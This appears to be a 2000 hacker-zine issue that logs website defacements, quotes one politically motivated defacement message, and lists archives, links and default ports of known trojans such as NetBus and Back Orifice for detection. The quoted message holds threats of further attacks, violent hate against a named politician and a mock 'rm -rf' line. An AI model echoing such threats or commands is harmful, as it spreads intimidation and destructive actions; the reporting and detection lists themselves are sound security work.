Defaced domain: www.crimewatch.co.za
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.crimewatch.co.za
Defaced by: #Dorknet
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: dedaana.otd.com
Site Title: OTD, Ltd.
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/dedaana.otd.com
Defaced by: Illusions Team
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: www.xandria.com
Site Title: Lawrence Research Group
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/05/www.xandria.com
Defaced by: Protokol
Operating System: NT
Potentially offensive content on defaced page.
Defaced domain: www.hospital.uchile.cl
Mirror: http://www.attrition.org/mirror/attrition/2000/02/06/www.hospital.uchile.cl
Defaced by: BlacKcODe
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: www.dupeit.com
Site Title: Corporate Systems Center
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/www.dupeit.com
Defaced by: protokol
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
ATTRITION Staff Comment: mass: www.scsidrives.com
Defaced domain: xmail.senate.be
Site Title: Senat de Belgique
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/xmail.senate.be
Defaced by: #Dorknet
Operating System: Windows NT
Potentially offensive content on defaced page.
ATTRITION Staff Comment:
This defacement has a message regarding Joerg Haider and the Austrian Freedom
Party. Mention of possible targets in the *.gv.at domain. (For more information
about this issue, read:
http://news.bbc.co.uk/hi/english/world/europe/newsid_632000/632039.stm )
The site of the Belgium Senate was defaced by Illusions Team and NOT #Dorknet.
My apologies for the confusion.
Defaced domain: issfire1.co.palm-beach.fl.us
Site Title: ISS Firewall for Palm Beach County, Florida
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/issfire1.co.palm-beach.fl.us
Defaced by: suave
Operating System: Windows NT
Defaced domain: www.wetjeans.com
Site Title: WS Associates Ltd.
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/www.wetjeans.com
Defaced by: LA|Calif
Operating System: Solaris
Potentially offensive content on defaced page.
Defaced domain: www.xstreams.com
Site Title: Crawford Software
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/www.xstreams.com
Defaced by: LA|Calif
Operating System: Solaris
Potentially offensive content on defaced page.
Defaced domain: koala.harc.edu
Site Title: Houston Advanced Research Center
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/koala.harc.edu
Defaced by: suave
Operating System: WinNT
Potentially offensive content on defaced page.
Site Title: ESCOLA AGROTECNICA FEDERAL DE BAMBUI
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/www.eafbambui.gov.br
Defaced by: KabraLzZ
Operating System: WinNT
Potentially offensive content on defaced page.
Defaced domain: www.ivi.org
Site Title: International Vaccine Institute
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/www.ivi.org
Defaced by: suave
Operating System: Windows NT (IIS/4.0)
Previously defaced on 00.01.20 by confusion
Potentially offensive content on defaced page.
Defaced domain: www.harc.edu
Site Title: Houston Advanced Research Center
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/www.harc.edu
Defaced by: suave
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.lep.ibge.gov.br
Site Title: IBGE - Fundacao Instituto Brasileiro De Geografia
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/www.lep.ibge.gov.br
Defaced by: KabraLzZ
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page
Defaced domain: www.porzellanklinik.de
Site Title: PKS Porzellanklinik System GmbH
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/www.porzellanklinik.de
Defaced by: dot-slash crew
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
domain: www.planetalatino.com
Site Title: Grupo Interconect
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/www.planetalatino.com
Defaced by: c0rvus
Operating System: NT
Potentially offensive content on defaced page.
Defaced domain: www.porno.co.za
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/06/www.porno.co.za
Defaced by: DoRKnET
Operating System: Red Hat Linux
Previously defaced on [00.01.29] by
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.cofcc.org
Site Title: Council of Conservative Citizens
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.cofcc.org
Operating System: Solaris
Potentially offensive content on defaced page.
ATTRITION Staff Comment: Political Defacement
Defaced domain: www.uqi.edu.mx
Site Title: Universidad Quetzalcoatl de Irapuato
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.uqi.edu.mx
Defaced by: Gupo and Ka0s
Operating System: Windows NT
Defaced domain: www.interpower.com
Site Title: Panel Components Corporation
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.interpower.com
Defaced by: verb0
Operating System: Windows NT
Defaced domain: www.maliembassy-usa.org
Site Title: Mali Embassy in the US
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.maliembassy-usa.org
Defaced by: Check0ut
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: www.bandaelrecodo.com.mx
Site Title: RED 2000
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.bandaelrecodo.com.mx
Defaced by: AloneX
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.comercialcarvalho.com.br
Site Title: Carvalho e fernandes Ltda
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.comercialcarvalho.com.br
Defaced by: Crime Boy's
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.santafeciudad.gov.ar
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.santafeciudad.gov.ar
Defaced by: KabraLzZ
Operating System: BSDI 4.0.1
Potentially offensive content on defaced page.
Defaced domain: www.texasmint.com
Site Title: texas mint
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.texasmint.com
Operating System: Windows NT (IIS/4.0)
HIDDEN comments in the HTML.
Potentially offensive content on defaced page.
Defaced domain: www.clairant.com
Site Title: Allard Group
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.clairant.com
Defaced by: artech
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.abn.com.br
Site Title: ABN Agencia Brasileira de Noticias
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.abn.com.br
Defaced by: Death Knights
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.bewear0303.com
Site Title: David Tennyson
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.bewear0303.com
Defaced by: artech
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.firstgpa.com
Site Title: First American Group Purchasing Association
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.firstgpa.com
Defaced by: wkD
Operating System: Windows NT (IIS/4.0)
Previously defaced on 99.12.19 by relogic
Potentially offensive content on defaced page.
Defaced domain: www.rupeesaver.com
Site Title: Quicksell Communications
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/07/www.rupeesaver.com
Defaced by: artech
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.firstmusic.com
Site Title: FM Design
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/08/www.firstmusic.com
Defaced by: Team Echo
Operating System: Solaris
Potentially offensive content on defaced page.
Defaced domain: www.miniskirt-jp.com
Site Title: JP Miniskirts
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/08/www.miniskirt-jp.com
Defaced by: Trent
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
ATTRITION Staff Comment:
Yet another bi-polar, manic-depressive kid with a God complex and an
obsession with a female.
Defaced domain: www.unixcctv.com
Site Title: Unix CCTV
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/09/www.unixcctv.com
Defaced by: sabu
Operating System: FreeBSD 2.2.1 - 4.0
Potentially offensive content on defaced page.
Defaced domain: www.nasulgc.org
Site Title: National Association of State Universities and Land-Grant Colleges
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/09/www.nasulgc.org
Defaced by: ZeroForce
Operating System: Windows NT
Defaced domain: www.newmilltrout.com
Site Title: Newmill Trout & Deer Farm
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/09/www.newmilltrout.com
Defaced by: Team Echo
Potentially offensive content on defaced page.
Defaced domain: newmilltrout.com
Site Title: Newmill Trout & Deer Farm
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/09/newmilltrout.com
Defaced by: Team Echo
Operating System: Solaris
Potentially offensive content on defaced page.
Defaced domain: ip-250.la.com
Site Title: LA.COM
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/09/ip-250.la.com
Defaced by: Mindmelt
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.familycomputerworkshop.com
Site Title: Family Computer Workshop
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/09/www.familycomputerworkshop.com
Defaced by: Crime Boys
Operating System: Windows NT
Previously defaced on many times by
Potentially offensive content on defaced page.
ATTRITION Staff Comment: redefacing is lame.
Defaced domain: www.chickenchoker.com
Site Title: Sean Flanigan
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/09/www.chickenchoker.com
Defaced by: Sabu
Operating System: FreeBSD
Potentially offensive content on defaced page.
Defaced domain: fortleehs.hypermart.net
Site Title: Hypermart, Inc.
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/09/fortleehs.hypermart.net
Defaced by: team inifnity
Operating System: BSDI
Defaced domain: www.l33to.com
Site Title: l33to.com
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/09/www.l33to.com
Defaced by: team inifnity
Operating System: Linux
Defaced domain: www.troop.org
Site Title: Troop 62
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/10/www.troop.org
Defaced by: Team Echo
Operating System: NT
Potentially offensive content on defaced page.
Defaced domain: www.texasmint.com
Site Title: texas mint
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/10/www.texasmint.com
Defaced by: CRIME BOY'S
Operating System: NT
Potentially offensive content on defaced page.
Defaced domain: ohr.gsfc.nasa.gov
Site Title: National Aeronautics and Space Administration
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/10/ohr.gsfc.nasa.gov
Defaced by: mr_min
Operating System: NT
ATTRITION Staff Comment: Small notice at bottom of page.
Defaced domain: www.gosargon.com
Site Title: Sargon Consulting
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/10/www.gosargon.com
Defaced by: kidblount
Operating System: Solaris
HIDDEN comments in the HTML.
ATTRITION Staff Comment:
See the HTML source code for the URL of the material used in this defacement
Defaced domain: www.clairant.com
Site Title: Allard Group
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/10/www.clairant.com
Defaced by: artech
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.whoisyourdaddy.net
Site Title: Mike Anderson
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/10/www.whoisyourdaddy.net
Defaced by: Ook-Ook
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: www.fumec.br
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/10/www.fumec.br
Defaced by: Death Knights
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: ohr.gsfc.nasa.gov
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/10/ohr.gsfc.nasa.gov
Defaced by: Cyber Fuckers
Operating System: Windows NT (IIS/4.0
Potentially offensive content on defaced page.
Defaced domain: www.portonet.pt
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.portonet.pt
Defaced by: Ph0bic
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: www.utahaccess.com
Site Title: IWS
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.utahaccess.com
Defaced by: RAT
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: netserv.mnet.it
Site Title: Medianet s.r.l. is a member of the UPITEL consortium
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/netserv.mnet.it
Defaced by: X-Gh0sT
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: www.entertaineon.com
Site Title: David Katz
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.entertaineon.com
Defaced by: DLX
Operating System: Linux
HIDDEN comments in the HTML.
Defaced domain: www.troop10.org
Site Title: Boy Scout Troop 10
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.troop10.org
Potentially offensive content on defaced page.
Defaced domain: www.hatfield.co.za
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.hatfield.co.za
Defaced by: Saint
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.tips.com
Site Title: Business Consulting Solutions, Inc
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.tips.com
Defaced by: pimp
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.seniorweb.nl
Site Title: Stichting Seniorweb
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.seniorweb.nl
Defaced by: Team Echo
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.aplomet.com
Site Title: Applied Logical Methods
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.aplomet.com
Defaced by: DHC
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.nrai.com
Site Title: National Registered Agents, Inc
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.nrai.com
Defaced by: i[S]
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.barker-realty.com
Site Title: SpeedScape LLC
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.barker-realty.com
Defaced by: DHC
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.genecochran.com
Site Title: SpeedScape, LLC
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.genecochran.com
Defaced by: DHC
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.fsbdongola.com
Site Title: SpeedScape, LLC
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.fsbdongola.com
Defaced by: DHC
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Site Title: Education Systems Corporation
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/fugazzi.educorp.edu
Defaced by: DHC
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.mountainsportsltd.com
Site Title: SpeedScape
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.mountainsportsltd.com
Defaced by: DHC
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.wabn.com
Site Title: SpeedScape
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.wabn.com
Defaced by: DHC
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Site Title: SpeedScape
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.vol-business.net
Defaced by: DHC
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.troop35.org
Site Title: Boy Scout Troup 35
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.troop35.org
Defaced by: Team Echo
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.nationalbusiness.edu
Site Title: National Business College
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.nationalbusiness.edu
Defaced by: DHC
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.coverconnection.com
Site Title: Patrick Wyss
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.coverconnection.com
Defaced by: Sabu
Operating System: FreeBSD
Potentially offensive content on defaced page.
Defaced domain: www.i2000.es
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.i2000.es
Defaced by: kryptek
Operating System: Solaris 2.5x
Potentially offensive content on defaced page.
Defaced domain: www.encontrefacil.com.br
Site Title: Labin4 Laboratorio de Informatica
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.encontrefacil.com.br
Defaced by: KabraLzZ
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.quantumdentistry.com
Site Title: SpeedScape
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.quantumdentistry.com
Defaced by: DHC
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: eagles.eems.giles.k12.va.us
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/eagles.eems.giles.k12.va.us
Defaced by: Team Echo
Previously defaced on 99.12.21 by
Potentially offensive content on defaced page.
Defaced domain: www.triology.net
Site Title: Tom Geoco
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/11/www.triology.net
Operating System: OpenBSD 2.5
Potentially offensive content on defaced page.
Defaced domain: www.teleplus.com.br
Site Title: Teleplus Tecnologia Eletro Eletronica Ltda
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/12/www.teleplus.com.br
Defaced by: Crime Boys
Operating System: Windows NT
Potentially offensive content on defaced page.
ATTRITION Staff Comment: mass hack: www.arlaisnet.com.br
Defaced domain: www.fob.com.br
Site Title: FOB Asset Management E Corretora De Seguros
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/12/www.fob.com.br
Defaced by: Crime Boys
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.e2.com
Site Title: E2 Consultants
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/12/www.e2.com
Defaced by: Carte Blanche
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.iiaa.org
Site Title: Independant Insurance Agents of America
Mirror:
http://www.attrition.org/mirror/attrition/2000/02/12/www.iiaa.org
Defaced by: Team Echo
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
<<<<<<<<<<<<<<<<<<<<<<<<<<<-------[ END ]--------->>>>>>>>>>>>>>>>>>>>>>>
Some of the more interesting messages from the above defacements:
(re-formatted to fit 80 cols)
http://www.attrition.org/mirror/attrition/2000/02/05/www.setindia.com
:: [ m O s ] ::
This defacement brought to you courtesy of "Harkat-ul-mOs". The Pakistan
based terrorist organization that wants India to stop killing innocent
civilians. (read women and children)
YES! we are terrorists!
<EXTRACT> ..... The man was stopped by an Indian army patrol 10 yards
from his house, 20 minutes after curfew - his house had no toilet.
Just before sunrise the next day , his battered corpse was dumped in
front of his house. Permission for a proper funeral was refused,
arrangements were made for a burial in a local park. The women blocked
the entrance of the park from the Indian Army who were trying to stop
the ceremony. </EXTRACT>
<EXTRACT> The Indian security forces in Kashmir have systematically
violated the Code of Medical Neutrality in Armed Conflict. During the
curfew the security forces have prevented medical personnel from
evacuating injured people in need of treatment. Ambulance drivers have
been the principal victims of these actions, frequently being stopped
while on duty. A number have been fired on and beaten, in some cases
the medical personnel have been detained, tortured and killed.
</EXTRACT>
<EXTRACT> Torture is widely practiced in Kashmir as a means of
extracting information from detainees, coercing confessions, punishing
persons believed sympathetic to the militants and creating a climate
of political repression. Torture includes severe methods, which
include the psycho-torture: soldiers rape the detainee's wife in front
of his eyes. </EXTRACT>
<EXTRACT> Patrols downtown. Military squads in the streets, they are
looking for militants. 01 Minute to evacuate their homes. Time limit
expired. The soldiers enter, bursts of gun fire. Entire families
slaughtered. Flesh burned five, ten, fifteen bodies bleeding now while
I am writing far away from Kashmir. </EXTRACT>
source == http://www.kash-gt.dircon.co.uk/
Kashmir For The Kashmiris !
Kashmir is not a commodity for sale, nor should it be considered a
prize for India or Pakistan ! The people of Kashmir are not cattle, to
be butchered by one or herded by the other! Kashmiris are people
dammit ! They have a right to live... to choose !
Take away the rights they have as human beings, and every muslim shall
rise against you ! We will keep "terrorizing" you, defacing sites
until there are no more Indian sites left that have yet to be defaced
by the :: [ m O s ] :: .... and start all over again ! Your data is
not safe, for we are...
the :: [ m O s ] :: of the Borg, being an Indian is pathetic, you will
be VIOLATED !@#$%!
Beware, for some day, someone might....
su God rm -rf /earth/India* echo "The world is now a better place,
thank you for your patience. - mOs" > /etc/motd
Oh well.. time for the credits ;-)
Let us grab this opurtunity to welcome a new member to the :: [ m O s
] :: Say hello to Shahmir, hacked into the world on the 4th of January
2000. Lets hope he turns out l33t0r than his father and uncle ;-)
Members : a-ngelz, ps, qrs, drac, evilroot, miller and Shahmir.
Greets : X-ORG, etC!, GForce, Makaveli Crew, s|ider, sephz, indica,
madsmurf, rigian, knight, norad, mo`, sn|per@undernet, heataz, Lycos,
viviana, h1gh, the attrition.org team, The NEWS Daily, The HINDU - an
alleged newspaper (yes we read the article *smoochies*), sharon stone,
barnaby jones (or however it's spelt), Stuart the mouse, Johnny Bravo,
the Indian Soldiers for selling guns to the freedom fighters, the
Mujahideen, and all the people supporting the Kashmiri cause !
Fuck-Yous : The U.N. for sitting on their fat asses all this time and
doing nothing, The U.S.A. for looking the other way while defenseless
people are being butchered, Amnesty International for not doing their
part, The Hindu "baniya", Bal Thakray - when you die (which IS going
to be soon), we hope they let the vultures violate every friggin' hole
your body has to offer before tearing you up, eating you piece by
piece, digesting you and then taking a royal dump in the river ganges
(YES! we are SICK terrorists !@#$%!), Jaswanth Singh - You give sikhs
a bad BAD name dude, the pizza dude for being this late, one
k0nka@dalnet for being whatever he is - k0nka mate.. here's looking at
your sorry ass kid... _|_ , net21pk - the "alleged" ISP, and all the
people we've missed - you know who you are guys, FUCK YOU !@
... and now we must bid you all adieu, but this we promise .... we
shall meet again !
Previous Works : Indian Science Congress 2000 ( Archived Here )
Zee Networks ( Archived Here )
:: [ m O s ] :: - Zor Ka Jhatka, Dheray Se Lagay
==========================================================================
* Info supplied by the attrition.org mailing list.
Cracked webpage archives (list from attrition)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.attrition.org/
http://www.hackernews.com/archive/crackarch.html
http://www.freespeech.org/resistance/
http://www.rewted.org/cracked/
http://www.403-security.org/
http://www.projectgamma.com/defaced/
http://www.net-security.org/
http://www.netrus.net/users/beard/pages/hacks/
http://212.205.141.128/grhack/html/default_hacking.html
http://194.226.45.195/hacked/hacked.html
http://alldas.de/crkidx1.htm
http://www.turkeynews.net/Hacked
http://www.flashback.se/hack/
http://www.dutchthreat.org/
http://www.onething.com/archive/
http://www.2600.com/hacked_pages/
http://hysteria.sk/hacked/
http://erazor.vrnet.gr/
A simple yet elegant crack:
http://careers.altavista.com/
Index of /
Name Last modified Size Description
Parent Directory 12-May-1999 18:09 -
ALTAVISTA 05-Feb-2000 10:56 0k
EATS 05-Feb-2000 10:56 0k
SHIT 05-Feb-2000 10:56 0k
Cracked sites listed oldest to most recent...
and more sites at the attrition cracked web sites mirror:
http://www.attrition.org/mirror/attrition/index.html
-------------------------------------------------------------------------
A.0 APPENDICES
_________________________________________________________________________
By: joakim.von.braun@risab.se
Source: PSS
Common Trojan ports to watch for:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
After seeing several questions about traffic directed at ports as 31337 and
12345 I've put together a list of all trojans known to me and the default
ports they are using. Of course several of them could use any port, but I
hope this list will maybe give you a clue of what might be going on.
port 21 - Blade Runner, Doly Trojan, Fore, Invisible FTP, WebEx,
WinCrash
port 23 - Tiny Telnet Server
port 25 - Antigen, Email Password Sender, Haebu Coceda, Shtrilitz
Stealth, Terminator, WinPC, WinSpy
port 31 - Hackers Paradise
port 80 - Executor
port 456 - Hackers Paradise
port 555 - Ini-Killer, Phase Zero, Stealth Spy
port 666 - Satanz Backdoor
port 1001 - Silencer, WebEx
port 1011 - Doly Trojan
port 1170 - Psyber Stream Server, Voice
port 1234 - Ultors Trojan
port 1245 - VooDoo Doll
port 1492 - FTP99CMP
port 1600 - Shivka-Burka
port 1807 - SpySender
port 1981 - Shockrave
port 1999 - BackDoor
port 2001 - Trojan Cow
port 2023 - Ripper
port 2115 - Bugs
port 2140 - Deep Throat, The Invasor
port 2801 - Phineas Phucker
port 3024 - WinCrash
port 3129 - Masters Paradise
port 3150 - Deep Throat, The Invasor
port 3700 - Portal of Doom
port 4092 - WinCrash
port 4590 - ICQTrojan
port 5000 - Sockets de Troie
port 5001 - Sockets de Troie
port 5321 - Firehotcker
port 5400 - Blade Runner
port 5401 - Blade Runner
port 5402 - Blade Runner
port 5569 - Robo-Hack
port 5742 - WinCrash
port 6670 - DeepThroat
port 6771 - DeepThroat
port 6969 - GateCrasher, Priority
port 7000 - Remote Grab
port 7300 - NetMonitor
port 7301 - NetMonitor
port 7306 - NetMonitor
port 7307 - NetMonitor
port 7308 - NetMonitor
port 7789 - ICKiller
port 9872 - Portal of Doom
port 9873 - Portal of Doom
port 9874 - Portal of Doom
port 9875 - Portal of Doom
port 9989 - iNi-Killer
port 10067 - Portal of Doom
port 10167 - Portal of Doom
port 11000 - Senna Spy
port 11223 - Progenic trojan
port 12223 - Hack´99 KeyLogger
port 12345 - GabanBus, NetBus
port 12346 - GabanBus, NetBus
port 12361 - Whack-a-mole
port 12362 - Whack-a-mole
port 16969 - Priority
port 20001 - Millennium
port 20034 - NetBus 2 Pro
port 21544 - GirlFriend
port 22222 - Prosiak
port 23456 - Evil FTP, Ugly FTP
port 26274 - Delta
port 31337 - Back Orifice
port 31338 - Back Orifice, DeepBO
port 31339 - NetSpy DK
port 31666 - BOWhack
port 33333 - Prosiak
port 34324 - BigGluck, TN
port 40412 - The Spy
port 40421 - Masters Paradise
port 40422 - Masters Paradise
port 40423 - Masters Paradise
port 40426 - Masters Paradise
port 47262 - Delta
port 50505 - Sockets de Troie
port 50766 - Fore
port 53001 - Remote Windows Shutdown
port 61466 - Telecommando
port 65000 - Devil
You'll find the list on the following address:
http://www.simovits.com/nyheter9902.html (still in Swedish but it will be
translated in the near future).
To help anyone to detect trojan attacks, I´m planning to add information
about the original names of the executables, their size, where they usually
are hiding, and the names of any helpfiles they may use. I will also add
tools or links to tools that may be of your assistance.
Feel free to get back to me with any comments or suggestions. If you find
new trojans I´ll love to get my hands on them, but please mail me first, as
I don´t need more than one copy. If you have live experiance of trojan
attacks I´m interested to read about your findings.
Joakim
joakim.von.braun@risab.se
A.1 PHACVW, sekurity, security, cyberwar links
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The links are no longer maintained in this file, there is now a
links section on the http://welcome.to/HWA.hax0r.news/ url so check
there for current links etc.
The hack FAQ (The #hack/alt.2600 faq)
http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
Hacker's Jargon File (The quote file)
http://www.lysator.liu.se/hackdict/split2/main_index.html
New Hacker's Jargon File.
http://www.tuxedo.org/~esr/jargon/
HWA.hax0r.news Mirror Sites around the world:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://blkops.venomous.net/hwa_hax0r_news/hwa_hax0r_news.asp ** NEW **
http://datatwirl.intranova.net ** NEW **
http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/ ** NEW **
http://net-security.org/hwahaxornews ** NEW **
http://www.sysbreakers.com/hwa ** NEW **
http://www.attrition.org/hosted/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.hackunlimited.com/zine/hwa/ *UPDATED*
http://www.ducktank.net/hwa/issues.html. ** NEW **
http://www.alldas.de/hwaidx1.htm ** NEW **
http://www.csoft.net/~hwa/
http://www.digitalgeeks.com/hwa.*DOWN*
http://members.tripod.com/~hwa_2k
http://welcome.to/HWA.hax0r.news/
http://www.attrition.org/~modify/texts/zines/HWA/
http://archives.projectgamma.com/zines/hwa/.
http://www.403-security.org/Htmls/hwa.hax0r.news.htm
http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
http://hwa.hax0r.news.8m.com/
http://www.fortunecity.com/skyscraper/feature/103/
International links:(TBC)
~~~~~~~~~~~~~~~~~~~~~~~~~
Foreign correspondants and others please send in news site links that
have security news from foreign countries for inclusion in this list
thanks... - Ed
Belgium.......: http://securax.org/cum/ *New address*
Brasil........: http://www.psynet.net/ka0z
http://www.elementais.cjb.net
Canada .......: http://www.hackcanada.com
Croatia.......: http://security.monitor.hr
Colombia......: http://www.cascabel.8m.com
http://www.intrusos.cjb.net
Finland ........http://hackunlimited.com/
Germany ........http://www.alldas.de/
http://www.security-news.com/
Indonesia.....: http://www.k-elektronik.org/index2.html
http://members.xoom.com/neblonica/
http://hackerlink.or.id/
Netherlands...: http://security.pine.nl/
Russia........: http://www.tsu.ru/~eugene/
Singapore.....: http://www.icepoint.com
South Africa ...http://www.hackers.co.za
http://www.hack.co.za
** Due to excessive network attacks this site is now being mirrored
at http://www.siliconinc.net/hack/
http://www.posthuman.za.net
Turkey........: http://www.trscene.org - Turkish Scene is Turkey's first
and best security related e-zine.
.za (South Africa) sites contributed by wyzwun tnx guy...
Got a link for this section? email it to hwa@press.usmc.net and i'll
review it and post it here if it merits it.
@HWA
A.2 Hot Hits
~~~~~~~~
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
Today the spotlight may be on you, some interesting machines that
have accessed these archives recently...
_ _ _
| | | | ___ | |_
| |_| |/ _ \| __|
| _ | (_) | |_
|_| |_|\___/ \__|
_ _ _ _
| | | (_) |
| |__| |_| |_ ___
| __ | | __/ __|
| | | | | |_\__ \
|_| |_|_|\__|___/
.gov and .mil activity
